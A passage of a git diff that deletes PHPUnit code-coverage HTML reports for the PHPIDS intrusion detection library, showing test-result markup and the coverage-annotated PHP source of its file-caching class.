class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_File.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_File.php.html deleted file mode 100755 index 5e40942297e076ec7c347404db3e8eb90532ff05..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_File.php.html +++ /dev/null @@ -1,647 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Caching.html">Caching</a>/<a href="Caching_File.php.html">File.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="77" height="10" alt="77.50 %"><img src="snow.png" width="23" height="10" alt="77.50%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">77.50%</td> - <td class="coverNumHi">31 / 40</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#52">IDS_Caching_File</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="76" height="10" alt="76.92 %"><img src="snow.png" width="24" height="10" alt="76.92%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">76.92%</td> - <td class="coverNumHi">30 / 39</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#91">public function __construct($type, $init)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="butter.png" width="62" height="10" alt="62.50 %"><img src="snow.png" width="38" height="10" alt="62.50%"></td> - </tr> - </table> - </td> - <td class="coverPerMed">62.50%</td> - <td class="coverNumMed">5 / 8</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#113">public static function getInstance($type, $init)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#130">public function setCache(array $data)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="71" height="10" alt="71.43 %"><img src="snow.png" width="29" height="10" alt="71.43%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">71.43%</td> - <td class="coverNumHi">10 / 14</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#162">public function getCache()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#181">protected function readFile($filename)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="71" height="10" alt="71.43 %"><img src="snow.png" width="29" height="10" alt="71.43%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">71.43%</td> - <td class="coverNumHi">5 / 7</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span><span class="lineCov"> 1 : require_once 'IDS/Caching/Interface.php'; </span> -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : /** -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * File caching wrapper -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * This class inhabits functionality to get and set cache via a static flatfile. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:File.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : */ -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span><span class="lineCov"> 1 : class IDS_Caching_File implements IDS_Caching_Interface </span> -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : { -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : /** -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * Caching type -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * @var string -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : */ -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : private $type = null; -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : /** -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * Cache configuration -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * @var array -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : */ -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : private $config = null; -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : /** -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * Path to cache file -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : * @var string -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : */ -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : private $path = null; -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : /** -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * Holds an instance of this class -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * @var object -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : */ -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : private static $cachingInstance = null; -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : /** -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * Constructor -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : * -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : * @param string $type caching type -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : * @param array $init the IDS_Init object -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : * -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * @return void -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : */ -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : public function __construct($type, $init) -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : { -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span><span class="lineCov"> 1 : $this->type = $type; </span> -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span><span class="lineCov"> 1 : $this->config = $init->config['Caching']; </span> -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span><span class="lineCov"> 1 : $this->path = $init->getBasePath() . $this->config['path']; </span> -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span><span class="lineCov"> 1 : if (file_exists($this->path) && !is_writable($this->path)) { </span> -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span><span class="lineNoCov"> 0 : throw new Exception('Make sure all files in ' . </span> -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span><span class="lineNoCov"> 0 : htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . </span> -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span><span class="lineNoCov"> 0 : 'are writeable!'); </span> -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span> : /** -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span> : * Returns an instance of this class -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : * -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : * @param string $type caching type -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : * @param array $init the IDS_Init object -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * @return object $this -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : */ -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : public static function getInstance($type, $init) -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : { -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span><span class="lineCov"> 45 : if (!self::$cachingInstance) { </span> -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span><span class="lineCov"> 1 : self::$cachingInstance = new IDS_Caching_File($type, $init); </span> -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span> : -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 45 : return self::$cachingInstance; </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span> : -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : /** -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : * Writes cache data into the file -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : * -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * @param array $data the cache data -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * @throws Exception if cache file couldn't be created -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * @return object $this -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : */ -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : public function setCache(array $data) -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : { -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span><span class="lineCov"> 44 : if (!is_writable(preg_replace('/[\/][^\/]+\.[^\/]++$/', null, </span> -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span><span class="lineCov"> 44 : $this->path))) { </span> -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span><span class="lineNoCov"> 0 : throw new Exception('Temp directory ' . </span> -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span><span class="lineNoCov"> 0 : htmlspecialchars($this->path, ENT_QUOTES, 'UTF-8') . </span> -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span><span class="lineNoCov"> 0 : ' seems not writable'); </span> -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span><span class="lineCov"> 44 : if ((!file_exists($this->path) || (time()-filectime($this->path)) > </span> -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span><span class="lineCov"> 44 : $this->config['expiration_time'])) { </span> -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span><span class="lineCov"> 3 : $handle = @fopen($this->path, 'w+'); </span> -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span><span class="lineCov"> 3 : if (!$handle) { </span> -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span><span class="lineNoCov"> 0 : throw new Exception("Cache file couldn't be created"); </span> -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span> : -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span><span class="lineCov"> 3 : fwrite($handle, serialize($data)); </span> -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span><span class="lineCov"> 3 : fclose($handle); </span> -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span><span class="lineCov"> 44 : return $this; </span> -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : /** -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : * Returns the cached data -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : * -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span> : * Note that this method returns false if either type or file cache is -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span> : * not set -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : * -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : * @return mixed cache data or false -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : */ -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : public function getCache() -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span> : { -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span> : -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span> : // make sure filters are parsed again if cache expired -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 43 : if (file_exists($this->path) && (time()-filectime($this->path)) < </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span><span class="lineCov"> 43 : $this->config['expiration_time']) { </span> -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span><span class="lineCov"> 42 : $data = unserialize($this->readFile($this->path)); </span> -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span><span class="lineCov"> 42 : return $data; </span> -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span><span class="lineCov"> 1 : return false; </span> -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : /** -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" 